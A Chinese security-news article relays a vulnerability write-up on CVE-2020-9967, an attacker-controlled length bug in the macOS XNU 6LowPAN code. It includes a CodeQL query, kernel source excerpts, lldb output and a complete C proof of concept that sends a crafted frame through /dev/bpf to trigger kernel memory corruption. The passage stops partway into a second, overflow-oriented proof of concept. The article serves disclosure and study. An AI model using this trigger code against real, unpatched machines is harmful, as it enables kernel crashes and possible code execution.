聚焦源代码安全,网罗国内外最新资讯!

安全研究员 Alex Plaskett 在2020年5月向苹果报告了影响MacOS Big Sur 的一个漏洞 (CVE-2020-9967)。苹果公司在12月5日宣布该漏洞已在各平台公开后,Plaskett 于昨天发布了该漏洞的详细分析文章,如下:

受到 Kevin Backhouse 发现 XNU 远程漏洞的鼓舞,我决定花点时间查看下 CodeQL 并展开一些变体分析。结果从 macOS 10.15.4 的 6LowPAN 代码中发现了从本地 root 提权至内核权限的一个漏洞(不过苹果记录为远程漏洞)。

漏洞发现

在 XNU 中,入站和出站网络数据包存储在一个内存管理单元 (mbuf) 中。该数据由 macOS 操作系统的网络栈代码读取或写入mbuf。

我原先的想法是,我可以定义一个简单的污点跟踪 (taint tracking) 查询,找到不受信任的网络数据来源(来源),这些来源最终将污染内存复制操作的大小参数(sink)。最初,我修改了查询,查找源 m_mtod 和 sink 即 biltin_memcpy_chk,但徒劳无功。然而,在 XNU 内部,bcopy 的使用非常多见,因此最终成为:builtin_memmove_chk,如是查询修改如下:

import cpp
import semmle.code.cpp.dataflow.TaintTracking
import DataFlow::PathGraph
import semmle.code.cpp.rangeanalysis.SimpleRangeAnalysisclass Config extends TaintTracking::Configuration {Config() { this = "sixlowpan_flow" }override predicate isSource(DataFlow::Node source) {source.asExpr().(FunctionCall).getTarget().getName() = "m_mtod"}override predicate isSink(DataFlow::Node sink) {exists (FunctionCall call| call.getArgument(2) = sink.asExpr() andcall.getTarget().getName() = "__builtin___memmove_chk" )}
}from Config cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink, source, sink, "memmove with tainted size."

运行这个查询后,我得到了大概15个结果,本文所述漏洞为其一。

查看结果时,我发现该流值得手动调查一番:

1  call to m_mtod   if_6lowpan.c:623:2
2  len   if_6lowpan.c:663:41
3  ref arg & ... [payload_len]   if_6lowpan.c:663:46
4  & ... [payload_len]   if_6lowpan.c:666:19
5  ieee02154hdr [payload_len]   sixxlowpan.c:882:38
6  ieee02154hdr [payload_len]   sixxlowpan.c:886:32
7  ieee02154hdr [payload_len]   sixxlowpan.c:819:43
8  ieee02154hdr [payload_len]   sixxlowpan.c:855:7
9  payload_len   sixxlowpan.c:855:21
10  ... - ...   sixxlowpan.c:855:7

这证明了通过代码库的定制化 CodeQL 查询找到常见漏洞模式的强大之处。在详述漏洞之前,我们先来了解下 6LowPAN 的背景知识。

6LowPAN

苹果公司在 macOS Catalina 10.15 中,默默地在 XNU 内核中推出对 6LowPAN 和 IEEE 802 的支持。任何引入 XNU 搜查调查中的重大变化都可能是产生新漏洞的来源。6LowPAN 的全称是 “低功耗无线个人区域网的 IPv6 (IPv6 over Low-Power Wireless Personal Area Networks)”。如名称所示,它是一种网络技术,可允许在小型链接层帧如 IEEE 802.15.4 中有效执行IPv6 数据包。

该协议的相关 RFC 是 RFC4944、RFC6282 和 RFC6775。

IEEE 802.15.4 是一种定义低速率无线个人区域网 (LR-WPAN) 操作并指定 LR-WPAN 的物理层和媒体访问层。6LowPAN 通过提供未在 802.15.4 中定义的上层来扩展该标准。流行的 IoT 协议 Thread 使用了 6LowPAN,而苹果公司于2018年偶然加入 Thread 工作组中……

在 XNU 内核来源的上下文中, frame802154.c 中包含对 802.15.4 帧和解析的实现。if_6lowpan.c 包含和 6LowPAN 网络接口以及 6LowPAN 压缩和解压缩 sixlowpan.c 相关的代码。其中大部分源自苹果公司修改过的 Contiki OS 和封装代码。

目前上述内容并未有公开记录,而唯一公开提到的是关于 Thread HomePod mini 的内容。

IEEE 802.15.4 帧的结构

Layer 2(栈中的 MAC 层)的定义见 “通用 MAC 帧格式“ 第7.2节的 IEEE Std 802.15.4-2015 内容:

该帧的控制字段如下:

IPv6 数据包必须携带于数据帧上。当我们在后续讨论 XNU 代码库中的解析时,这些详情很重要。解析帧判断标头后,payload 部分就会得到处理。

LoWPAN Payload

由于完整的 IPv6 数据包不适合IEEE 802.15.4 帧,因此必须提供适配层以符合 IPv6 的最低 MTU 要求。该标准还定义了标头压缩的使用,因为它预计多数应用程序会使用基于 IEEE 802.15.4 的 IP。这样,LoWPAN payload(如 IPv6 数据包)遵循如上所述的封装标头。值得注意的是,IPv6 标头的长度也为40个八位位组。

初始标准定义了LOWPAN_HC1 压缩的 IPv6 数据包。这意味着 6LowPAN payload 在被收到时会被压缩。这一点对于理解漏洞也很重要。

数据链路层调度

问题在于,我们如何获取苹果设备的 6LowPAN 帧以及它们会被自动处理吗?深挖代码可了解到调度这类帧的数据链路层。

刚开始,我们可以发送将由解复用函数处理的以太网数据包:

int
ether_demux(ifnet_t ifp, mbuf_t m, char *frame_header,protocol_family_t *protocol_family)
{struct ether_header *eh = (struct ether_header *)(void *)frame_header;u_short  ether_type = eh->ether_type;u_int16_t type;u_int8_t *data;u_int32_t i = 0;struct ether_desc_blk_str *desc_blk =(struct ether_desc_blk_str *)ifp->if_family_cookie;u_int32_t maxd = desc_blk ? desc_blk->n_max_used : 0;struct en_desc  *ed = desc_blk ? desc_blk->block_ptr : NULL;u_int32_t extProto1 = 0;u_int32_t extProto2 = 0;if (eh->ether_dhost[0] & 1) {/* Check for broadcast */if (_ether_cmp(etherbroadcastaddr, eh->ether_dhost) == 0) {m->m_flags |= M_BCAST;} else {m->m_flags |= M_MCAST;}}if (m->m_flags & M_HASFCS) {/** If the M_HASFCS is set by the driver we want to make sure* that we strip off the trailing FCS data before handing it* up the stack.*/m_adj(m, -ETHER_CRC_LEN);m->m_flags &= ~M_HASFCS;}if ((eh->ether_dhost[0] & 1) == 0) {/** When the driver is put into promiscuous mode we may receive* unicast frames that are not intended for our interfaces.* They are marked here as being promiscuous so the caller may* dispose of them after passing the packets to any interface* filters.*/if (_ether_cmp(eh->ether_dhost, IF_LLADDR(ifp))) {m->m_flags |= M_PROMISC;}}/* check for IEEE 802.15.4 */if (ether_type == htons(ETHERTYPE_IEEE802154)) {*protocol_family = PF_802154;return 0;}

如果以太网标头内的 ether_type 是 ETHERTYPE_IEEE802154,则我们将 protocol_family 设置为 PF_802154。

目前,在默认配置中,除非配置了 6lowpan 接口,否则该 protocol_family 将无法被处理, 从而导致以下代码注册了一个函数 sixlowpan_input,而当处理 802.15.4 帧时,就会调用该函数。

/** Function: sixlowpan_attach_protocol* Purpose:*   Attach a DLIL protocol to the interface*   The ethernet demux actually special cases 802.15.4.*   The demux here isn't used. The demux will return PF_802154 for the*   appropriate packets and our sixlowpan_input function will be called.*/
static int
sixlowpan_attach_protocol(struct ifnet *ifp)
{int     error;struct ifnet_attach_proto_param reg;bzero(&reg, sizeof(reg));reg.input            = sixlowpan_input;reg.detached         = sixlowpan_detached;error = ifnet_attach_protocol(ifp, PF_802154, &reg);if (error) {printf("%s(%s%d) ifnet_attach_protocol failed, %d\n",__func__, ifnet_name(ifp), ifnet_unit(ifp), error);}return error;
}

漏洞详情

有了背景信息后,我将说明所发现的漏洞。调用函数 sixlowpan_input,将 802.15.4数据帧解封如下:

/** 6lowpan input routine.* Decapsulate the 802.15.4 Data Frame* Header decompression on the payload* Pass the mbuf to the IPV6 protocol stack using proto_input()*/
static int
sixlowpan_input(ifnet_t p, __unused protocol_family_t protocol,mbuf_t m, __unused char *frame_header)
{frame802154_t      ieee02154hdr;u_int8_t           *payload = NULL;if6lpan_ref        ifl = NULL;bpf_packet_func    bpf_func;mbuf_t mc, m_temp;int off, err = 0;u_int16_t len;/* Allocate an mbuf cluster for the 802.15.4 frame and uncompressed payload */mc = m_getcl(M_WAITOK, MT_DATA, M_PKTHDR);if (mc == NULL) {err = -1;goto err_out;}memcpy(&len, mtod(m, u_int8_t *), sizeof(u_int16_t));len = ntohs(len);               // This is the size read from the frame on the wire. m_adj(m, sizeof(u_int16_t));/* Copy the compressed 802.15.4 payload from source mbuf to allocated cluster mbuf */for (m_temp = m, off = 0; m_temp != NULL; m_temp = m_temp->m_next) {if (m_temp->m_len > 0) {m_copyback(mc, off, m_temp->m_len, mtod(m_temp, void *));off += m_temp->m_len;}}p = p_6lowpan_ifnet;mc->m_pkthdr.rcvif = p;sixlowpan_lock();ifl = ifnet_get_if6lpan_retained(p);if (ifl == NULL) {sixlowpan_unlock();err = -1;goto err_out;}if (if6lpan_flags_ready(ifl) == 0) {if6lpan_release(ifl);sixlowpan_unlock();err = -1;goto err_out;}bpf_func = ifl->if6lpan_bpf_input;sixlowpan_unlock();if6lpan_release(ifl);if (bpf_func) {bpf_func(p, mc);}/* Parse the 802.15.4 frame header */bzero(&ieee02154hdr, sizeof(ieee02154hdr));frame802154_parse(mtod(mc, uint8_t *), len, &ieee02154hdr, &payload);/* XXX Add check for your link layer address being dest */sixxlowpan_input(&ieee02154hdr, payload);

首先,m_getcl 为导入的 802.15.4 帧和未压缩的 payload 分配一个群集 mbuf。群集 mbuf 是指按照 MCLBYTES 单位计算的2048个字节。超过该大小的数据将被复制到链接到一起的多个 mbuf 中。

可以看到,len 是从导入的 mbuf m 中读取的,且完全受攻击者控制。之后,通过 m_adj 从mbuf 链的开头减去2个字节。被压缩的 802.15.4 payload 随后和受攻击者控制的 len 值一起被传递至 frame802154_parse。

不过这也存在一些明显的问题,比如,假如 mbuf 中的数据小于 mc 中帧的长度会怎么样?

/*----------------------------------------------------------------------------*/
/***   \brief Parses an input frame.  Scans the input frame to find each*   p, and stores the information of each p in a*   frame802154_t structure.**   \param data The input data from the radio chip.*   \param len The size of the input data*   \param pf The frame802154_t struct to store the parsed frame information.*/
int
frame802154_parse(uint8_t *data, int len, frame802154_t *pf, uint8_t **payload)
{uint8_t *p;frame802154_fcf_t fcf;int c;
#if LLSEC802154_USES_EXPLICIT_KEYSuint8_t key_id_mode;
#endif /* LLSEC802154_USES_EXPLICIT_KEYS */if (len < 3) {return 0;}p = data;/* decode the FCF */fcf.frame_type = p[0] & 7;fcf.security_enabled = (p[0] >> 3) & 1;fcf.frame_pending = (p[0] >> 4) & 1;fcf.ack_required = (p[0] >> 5) & 1;fcf.panid_compression = (p[0] >> 6) & 1;fcf.dest_addr_mode = (p[1] >> 2) & 3;fcf.frame_version = (p[1] >> 4) & 3;fcf.src_addr_mode = (p[1] >> 6) & 3;/* copy fcf and seqNum */memcpy(&pf->fcf, &fcf, sizeof(frame802154_fcf_t));pf->seq = p[2];p += 3;                             /* Skip first three bytes *//* Destination address, if any */if (fcf.dest_addr_mode) {/* Destination PAN */pf->dest_pid = p[0] + (p[1] << 8);p += 2;/* Destination address *//*     l = addr_len(fcf.dest_addr_mode); *//*     for(c = 0; c < l; c++) { *//*       pf->dest_addr.u8[c] = p[l - c - 1]; *//*     } *//*     p += l; */if (fcf.dest_addr_mode == FRAME802154_SHORTADDRMODE) {linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->dest_addr), &linkaddr_null);pf->dest_addr[0] = p[1];pf->dest_addr[1] = p[0];p += 2;} else if (fcf.dest_addr_mode == FRAME802154_LONGADDRMODE) {for (c = 0; c < 8; c++) {pf->dest_addr[c] = p[7 - c];}p += 8;}} else {linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->dest_addr), &linkaddr_null);pf->dest_pid = 0;}/* Source address, if any */if (fcf.src_addr_mode) {/* Source PAN */if (!fcf.panid_compression) {pf->src_pid = p[0] + (p[1] << 8);p += 2;} else {pf->src_pid = pf->dest_pid;}/* Source address *//*     l = addr_len(fcf.src_addr_mode); *//*     for(c = 0; c < l; c++) { *//*       pf->src_addr.u8[c] = p[l - c - 1]; *//*     } *//*     p += l; */if (fcf.src_addr_mode == FRAME802154_SHORTADDRMODE) {linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->src_addr), &linkaddr_null);pf->src_addr[0] = p[1];pf->src_addr[1] = p[0];p += 2;} else if (fcf.src_addr_mode == FRAME802154_LONGADDRMODE) {for (c = 0; c < 8; c++) {pf->src_addr[c] = p[7 - c];}p += 8;}} else {linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->src_addr), &linkaddr_null);pf->src_pid = 0;}#if LLSEC802154_SECURITY_LEVELif (fcf.security_enabled) {pf->aux_hdr.security_control.security_level = p[0] & 7;
#if LLSEC802154_USES_EXPLICIT_KEYSpf->aux_hdr.security_control.key_id_mode = (p[0] >> 3) & 3;
#endif /* LLSEC802154_USES_EXPLICIT_KEYS */p += 1;memcpy(pf->aux_hdr.frame_counter.u8, p, 4);p += 4;#if LLSEC802154_USES_EXPLICIT_KEYSkey_id_mode = pf->aux_hdr.security_control.key_id_mode;if (key_id_mode) {c = (key_id_mode - 1) * 4;memcpy(pf->aux_hdr.key_source.u8, p, c);p += c;pf->aux_hdr.key_index = p[0];p += 1;}
#endif /* LLSEC802154_USES_EXPLICIT_KEYS */}
#endif /* LLSEC802154_SECURITY_LEVEL *//* header length */c = p - data;/* payload length */pf->payload_len = (len - c);/* payload */*payload = p;/* return header length if successful */return c > len ? 0 : c;
}/** \brief Parameters used by the frame802154_create() function.  These*  parameters are used in the 802.15.4 frame header.  See the 802.15.4*  specification for details.*/
struct frame802154 {/* The fields dest_addr and src_addr must come first to ensure they are aligned to the* CPU word size. Needed as they are accessed directly as linkaddr_t*. Note we cannot use* the type linkaddr_t directly here, as we always need 8 bytes, not LINKADDR_SIZE bytes. */uint8_t dest_addr[8];           /**< Destination address */uint8_t src_addr[8];            /**< Source address */frame802154_fcf_t fcf;          /**< Frame control field  */uint8_t seq;                    /**< Sequence number */uint16_t dest_pid;              /**< Destination PAN ID */uint16_t src_pid;               /**< Source PAN ID */frame802154_aux_hdr_t aux_hdr;  /**< Aux security header *///uint8_t *payload;               /**< Pointer to 802.15.4 payload */int payload_len;                /**< Length of payload field */
};
typedef struct frame802154 frame802154_t;

关于该函数和调用者,如下是一些相关情况:

  • 如 len <3,则函数将返回0,且不会初始化payload 指针(即将成为 NULL 指针)。

  • Frame802154_parse 的返回值并未被检查,因此可能会造成标头长度>payload 的情况出现。

  • 由于我们能够控制将 len 的值控制在 0 到0xffff 之间,因此我们或者可以使 pf->payload_len 为负数(至 –header_len),小于预期的大小或者大于 mc 中输入数据本身的大小。

那么在这种场景下会发生什么情况?

errno_t
sixxlowpan_input(struct frame802154 *ieee02154hdr, u_int8_t *payload)
{errno_t error = 0;error = sixxlowpan_uncompress(ieee02154hdr, payload);if (error != 0) {goto done;}/** TO DO: fragmentation*/done:return error;
}

该 payload 之后被解压缩:

errno_t
sixxlowpan_uncompress(struct frame802154 *ieee02154hdr, u_int8_t *payload)
{long hdroffset;size_t hdrlen;u_int8_t hdrbuf[128];errno_t error;bzero(hdrbuf, sizeof(hdrbuf));hdrlen = sizeof(hdrbuf);error = uncompress_hdr_hc1(ieee02154hdr, (u_int8_t *)payload,0, &hdroffset, &hdrlen, hdrbuf);if (error != 0) {return error;}if (hdroffset < 0) {/** hdroffset negative means that we have to remove* hdrlen of extra stuff*/memmove(&payload[0],&payload[hdrlen],ieee02154hdr->payload_len - hdrlen);ieee02154hdr->payload_len -= hdrlen;} else {/** hdroffset is the size of the compressed header* -- i.e. when the untouched data starts** hdrlen is the size of the decompressed header* that takes the place of compressed header of size hdroffset*/memmove(payload + hdrlen,payload + hdroffset,ieee02154hdr->payload_len - hdroffset);memcpy(payload, hdrbuf, hdrlen);ieee02154hdr->payload_len += hdrlen - hdroffset;}return 0;
}

查看解压缩函数:

/*--------------------------------------------------------------------*/
/*** \brief Uncompress HC1 (and HC_UDP) headers and put them in* sicslowpan_buf** This function is called by the input function when the dispatch is* HC1.* We %process the packet in the packetbuf buffer, uncompress the header* fields, and copy the result in the sicslowpan buffer.* At the end of the decompression, packetbuf_hdr_len and uncompressed_hdr_len* are set to the appropriate values** \param ip_len Equal to 0 if the packet is not a fragment (IP length* is then inferred from the L2 length), non 0 if the packet is a 1st* fragment.*/
errno_t
uncompress_hdr_hc1(struct frame802154 *frame, u_int8_t *payload,uint16_t ip_len, long *hdroffset, size_t *hdrlen, u_int8_t *hdrbuf)
{struct ip6_hdr *ip6 = (struct ip6_hdr *)hdrbuf;if (payload[PACKETBUF_HC1_DISPATCH] == SICSLOWPAN_DISPATCH_IPV6) {*hdroffset = -SICSLOWPAN_IPV6_HDR_LEN;*hdrlen = SICSLOWPAN_IPV6_HDR_LEN;return 0;}*hdroffset = 0;/* version, traffic class, flow label */ip6->ip6_flow = 0;ip6->ip6_vfc = IPV6_VERSION;/* src and dest ip addresses */uip_ip6addr_u8(&ip6->ip6_src, 0xfe, 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);uip_ds6_set_addr_iid(&ip6->ip6_src,(uip_lladdr_t *)frame->src_addr);uip_ip6addr_u8(&ip6->ip6_dst, 0xfe, 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);uip_ds6_set_addr_iid(&ip6->ip6_dst,(uip_lladdr_t *)frame->dest_addr);*hdrlen = UIP_IPH_LEN;/* Next header field */switch (payload[PACKETBUF_HC1_ENCODING] & 0x06) {case SICSLOWPAN_HC1_NH_ICMP6:ip6->ip6_nxt = IPPROTO_ICMPV6;ip6->ip6_hlim = payload[PACKETBUF_HC1_TTL];*hdroffset = SICSLOWPAN_HC1_HDR_LEN;break;case SICSLOWPAN_HC1_NH_TCP:ip6->ip6_nxt = IPPROTO_TCP;ip6->ip6_hlim = payload[PACKETBUF_HC1_TTL];*hdroffset = SICSLOWPAN_HC1_HDR_LEN;break;case SICSLOWPAN_HC1_NH_UDP:ip6->ip6_nxt = IPPROTO_UDP;if (payload[PACKETBUF_HC1_HC_UDP_HC1_ENCODING] & 0x01) {struct udphdr *udp = (struct udphdr *)(uintptr_t)ip6;/* UDP header is compressed with HC_UDP */if (payload[PACKETBUF_HC1_HC_UDP_UDP_ENCODING] !=SICSLOWPAN_HC_UDP_ALL_C) {printf("sicslowpan (uncompress_hdr), packet not supported");return EINVAL;}/* IP TTL */ip6->ip6_hlim = payload[PACKETBUF_HC1_HC_UDP_TTL];/* UDP ports, len, checksum */udp->uh_sport =htons(SICSLOWPAN_UDP_PORT_MIN + (payload[PACKETBUF_HC1_HC_UDP_PORTS] >> 4));udp->uh_dport =htons(SICSLOWPAN_UDP_PORT_MIN + (payload[PACKETBUF_HC1_HC_UDP_PORTS] & 0x0F));memcpy(&udp->uh_sum, &payload[PACKETBUF_HC1_HC_UDP_CHKSUM], 2);*hdrlen += UIP_UDPH_LEN;*hdroffset = SICSLOWPAN_HC1_HC_UDP_HDR_LEN;} else {ip6->ip6_hlim = payload[PACKETBUF_HC1_TTL];*hdroffset = SICSLOWPAN_HC1_HDR_LEN;}break;default:/* this shouldn't happen, drop */return EINVAL;}/* IP length field. */if (ip_len == 0) {size_t len = frame->payload_len - *hdroffset + *hdrlen - sizeof(struct ip6_hdr);/* This is not a fragmented packet */SET16(&ip6->ip6_plen, len);} else {/* This is a 1st fragment */SET16(&ip6->ip6_plen, ip_len - UIP_IPH_LEN);}/* length field in UDP header */if (ip6->ip6_nxt == IPPROTO_UDP) {struct udphdr *udp = (struct udphdr *)(uintptr_t)ip6;memcpy(&udp->uh_ulen, &ip6->ip6_plen, 2);}return 0;
}

我们通过该函数可观察到如下情况:

1、  它的预期是 mbuf 中总会至少出现40个字节的 IPv6 标头 *hdrlen。

2、  它并未期望 payload 的大小小于标头。

3、  ip_len 总为0。

如果我们忽略了所有可能的界外读取,则可以将该问题用于如下的界外写入中:

  • len 中的下溢可导致一个庞大的值传递到 memmove(wild write)

因此,如果我们将所接受的帧的长度设置为 0x4,则会导致在 frame802154_parse 中计算如下值:

c 标头长度 = 3 frame->payload_len =1

之后,我们可以看到,通过设置 SICSLOWPAN_HC1_NH_UDP,我们会在 uncompress_hdr_hcl 中发现如下值:

*hdroffset = SICSLOWPAN_HC1_HDR_LEN; 即 *hdroffset = 3*hdrlen = UIP_IPH_LEN; 即 *hdrlen = 40sizeof(struct ip6_hdr) = 40

因此,当我们返回 sixxlowpan_uncompress 函数时:

  /** hdroffset is the size of the compressed header* -- i.e. when the untouched data starts** hdrlen is the size of the decompressed header* that takes the place of compressed header of size hdroffset*/memmove(payload + hdrlen,payload + hdroffset,ieee02154hdr->payload_len - hdroffset);memcpy(payload, hdrbuf, hdrlen);

在 payload +40 处写入数据(在群集 mc mbuf 中,数据由源 payload 缓冲区中的攻击者控制,长度为 ieee02154hdr->payload_len - 3 = -2。

PoC 1 —— 下溢

在 PoC 1 代码中,我们引发 1-3=-2以触发一个写入,使问题更加容易显现。

/***Apple XNU 6LowPAN POC
Catalina 10.15.4POC 1: Wild memmove trigger with an underflow. Run this on target machine (or local system if testing locally):
sudo ifconfig 6lowpan create
sudo ifconfig 6lowpan0 up
sudo ifconfig 6lowpan0 6lowpansetdev en0***/#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <net/bpf.h>// Set these to source and target
unsigned char dest_mac[ETHER_ADDR_LEN]  = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
unsigned char src_mac[ETHER_ADDR_LEN]  = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};struct frame_t {struct ether_header header;unsigned char payload[ETHER_MAX_LEN - ETHER_HDR_LEN];ssize_t len;ssize_t payload_len;
};// Open bpf device
int open_bpf_device()
{char buf[11] = {};int bpf = 0;for(int i = 0; i < 99; i++){sprintf(buf,"/dev/bpf%i",i);bpf = open(buf,O_RDWR);if( bpf != -1 ) {printf("Opened device /dev/bpf%i\n", i);break; }}if(bpf == -1) {printf("Cannot open any /dev/bpf* device, exiting\n");exit(1); }return bpf;
}// Associate device
void assoc_dev(int bpf, char* interface)
{struct ifreq bound_if;strcpy(bound_if.ifr_name, interface);if(ioctl( bpf, BIOCSETIF, &bound_if ) > 0) {printf("Cannot bind bpf device to physical device %s, exiting\n", interface);exit(1);}printf("Bound bpf device to physical device %s\n", interface);
}// Write trigger frame
void write_single_frame(int bpf)
{ssize_t data_length = 32;struct frame_t frame;memcpy(frame.header.ether_dhost, dest_mac, ETHER_HDR_LEN);memcpy(frame.header.ether_shost, src_mac, ETHER_HDR_LEN);//  802.15.4 frame type. frame.header.ether_type = 0x908;frame.len = (2*ETHER_ADDR_LEN) + ETHER_TYPE_LEN + data_length;// Length of frame - memcpy(&len, mtod(m, u_int8_t *), sizeof(u_int16_t)); len = ntohs(len);frame.payload[0] = 0;frame.payload[1] = 4;// This is the start of the "data" passed to frame802154_parse and considered frame header // m_adj(m, sizeof(u_int16_t)); mtod(mc, uint8_t *)// These are used for the FCF (no flags set)frame.payload[2] = 0;frame.payload[3] = 0;frame.payload[4] = 0;// As none FCF are set p+=3 bytes. // header length// c = p - data;// c = 3// payload length// pf->payload_len = (4 - 3);// pf->payload_len = 1// This is the start of our payload passed to sixxlowpan_uncompressframe.payload[5] = 0;frame.payload[6] = 2; // SICSLOWPAN_HC1_NH_UDP// Just pad the frame with 'A'. for (int j = 7; j < 32; j++) {frame.payload[j] = 0x41;} ssize_t bytes_sent;bytes_sent = write(bpf, &frame, frame.len);if(bytes_sent > 0) {printf("Bytes sent: %ld\n", bytes_sent);} else {perror("Error sending frame");exit(1);}
}int main(int argc, char *argv[])
{char* interface = "en0";int bpf;bpf = open_bpf_device();assoc_dev(bpf, interface);write_single_frame(bpf);return 0;
}

我们可以通过如下的调试输出进行证实:

(lldb) disas
kernel`sixxlowpan_uncompress:0xffffff8003ffa0b0 <+0>:   push   rbp0xffffff8003ffa0b1 <+1>:   mov    rbp, rsp0xffffff8003ffa0b4 <+4>:   push   r150xffffff8003ffa0b6 <+6>:   push   r140xffffff8003ffa0b8 <+8>:   push   r130xffffff8003ffa0ba <+10>:  push   r120xffffff8003ffa0bc <+12>:  push   rbx0xffffff8003ffa0bd <+13>:  sub    rsp, 0x980xffffff8003ffa0c4 <+20>:  mov    r15, rsi0xffffff8003ffa0c7 <+23>:  mov    r14, rdi0xffffff8003ffa0ca <+26>:  lea    rax, [rip + 0x4a1f9f]     ; __stack_chk_guard0xffffff8003ffa0d1 <+33>:  mov    rax, qword ptr [rax]0xffffff8003ffa0d4 <+36>:  mov    qword ptr [rbp - 0x30], rax0xffffff8003ffa0d8 <+40>:  int3   0xffffff8003ffa0d9 <+41>:  mov    dword ptr [rbp - 0xc0], 0x00xffffff8003ffa0e3 <+51>:  mov    qword ptr [rbp - 0x38], 0x00xffffff8003ffa0eb <+59>:  mov    qword ptr [rbp - 0x40], 0x00xffffff8003ffa0f3 <+67>:  mov    qword ptr [rbp - 0x48], 0x00xffffff8003ffa0fb <+75>:  mov    qword ptr [rbp - 0x50], 0x00xffffff8003ffa103 <+83>:  mov    qword ptr [rbp - 0x58], 0x00xffffff8003ffa10b <+91>:  mov    qword ptr [rbp - 0x60], 0x00xffffff8003ffa113 <+99>:  mov    qword ptr [rbp - 0x68], 0x00xffffff8003ffa11b <+107>: mov    qword ptr [rbp - 0x70], 0x00xffffff8003ffa123 <+115>: mov    qword ptr [rbp - 0x78], 0x00xffffff8003ffa12b <+123>: mov    qword ptr [rbp - 0x80], 0x00xffffff8003ffa133 <+131>: mov    qword ptr [rbp - 0x88], 0x00xffffff8003ffa13e <+142>: mov    qword ptr [rbp - 0x90], 0x00xffffff8003ffa149 <+153>: mov    qword ptr [rbp - 0x98], 0x00xffffff8003ffa154 <+164>: mov    qword ptr [rbp - 0xa0], 0x00xffffff8003ffa15f <+175>: mov    qword ptr [rbp - 0xa8], 0x00xffffff8003ffa16a <+186>: mov    qword ptr [rbp - 0xb0], 0x00xffffff8003ffa175 <+197>: lea    rbx, [rbp - 0xb0]0xffffff8003ffa17c <+204>: mov    esi, 0x800xffffff8003ffa181 <+209>: mov    rdi, rbx0xffffff8003ffa184 <+212>: call   0xffffff80039980f0        ; bzero0xffffff8003ffa189 <+217>: mov    qword ptr [rbp - 0xb8], 0x800xffffff8003ffa194 <+228>: lea    rcx, [rbp - 0xc0]0xffffff8003ffa19b <+235>: lea    r8, [rbp - 0xb8]0xffffff8003ffa1a2 <+242>: mov    rdi, r140xffffff8003ffa1a5 <+245>: mov    rsi, r150xffffff8003ffa1a8 <+248>: xor    edx, edx0xffffff8003ffa1aa <+250>: mov    r9, rbx0xffffff8003ffa1ad <+253>: call   0xffffff8003ff9d70        ; uncompress_hdr_hc1 at sixxlowpan.c:6790xffffff8003ffa1b2 <+258>: mov    ebx, eax0xffffff8003ffa1b4 <+260>: test   eax, eax0xffffff8003ffa1b6 <+262>: jne    0xffffff8003ffa210        ; <+352> at sixxlowpan.c0xffffff8003ffa1b8 <+264>: mov    r13, qword ptr [rbp - 0xc0]0xffffff8003ffa1bf <+271>: mov    r12, qword ptr [rbp - 0xb8]0xffffff8003ffa1c6 <+278>: lea    rsi, [r15 + r12]0xffffff8003ffa1ca <+282>: test   r13, r13                  0xffffff8003ffa1cd <+285>: js     0xffffff8003ffa1fa        ; <+330> at sixxlowpan.c:841:30xffffff8003ffa1cf <+287>: lea    rdi, [r15 + r13]0xffffff8003ffa1d3 <+291>: movsxd rdx, dword ptr [r14 + 0x34]0xffffff8003ffa1d7 <+295>: int3   0xffffff8003ffa1d8 <+296>: sub    edx, ebp
->  0xffffff8003ffa1da <+298>: call   0xffffff8003998070        ; bcopy(lldb) register read
General Purpose Registers:rax = 0x0000000000000000rbx = 0x0000000000000000rcx = 0xffffff80669e3d28rdx = 0xffffffffffffffferdi = 0xffffff80602e1806rsi = 0xffffff80602e182brbp = 0xffffff80669e3cf0rsp = 0xffffff80669e3c30r8 = 0xffffff80669e3c38r9 = 0xffffff80669e3c40r10 = 0x0000000000000000r11 = 0x0000000000000003r12 = 0x0000000000000028r13 = 0x0000000000000003r14 = 0xffffff80669e3d28r15 = 0xffffff80602e1803rip = 0xffffff8003ffa1da  kernel`sixxlowpan_uncompress + 298 [inlined] memmove at subrs.c:703kernel`sixxlowpan_uncompress + 298 [inlined] __memmove_chk at sixxlowpan.c:853kernel`sixxlowpan_uncompress + 298 at sixxlowpan.c:853rflags = 0x0000000000000393cs = 0x0000000000000008fs = 0x00000000ffff0000gs = 0x00000000669e0000

PoC 2 —— 上溢

然而,我们可以通过庞大的 payload 大小来触发更加受控制的内存损害,从而可能造成代码执行。

例如,使用如下参数:

len = 0xffffpf->payload_len = (0xffff - 3); = 65532 pf->payload_len = 0xfffc

会导致 memmove 在payload + 40 处执行写入,数据源于攻击者,大小为 0xfffc-40 = (0xfff9) 65529。

PoC 2 演示如下:

/***Apple XNU 6LowPAN POC
Catalina 10.15.4POC 2: Write 0xffd4 bytes - overflowRun this on target machine (or local system if testing locally):
sudo ifconfig 6lowpan create
sudo ifconfig 6lowpan0 up
sudo ifconfig 6lowpan0 6lowpansetdev en0***/#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <net/bpf.h>// Set these to source and target
unsigned char dest_mac[ETHER_ADDR_LEN]  = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
unsigned char src_mac[ETHER_ADDR_LEN]  = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};struct frame_t {struct ether_header header;unsigned char payload[ETHER_MAX_LEN - ETHER_HDR_LEN];ssize_t len;ssize_t payload_len;
};// Open bpf device
int open_bpf_device()
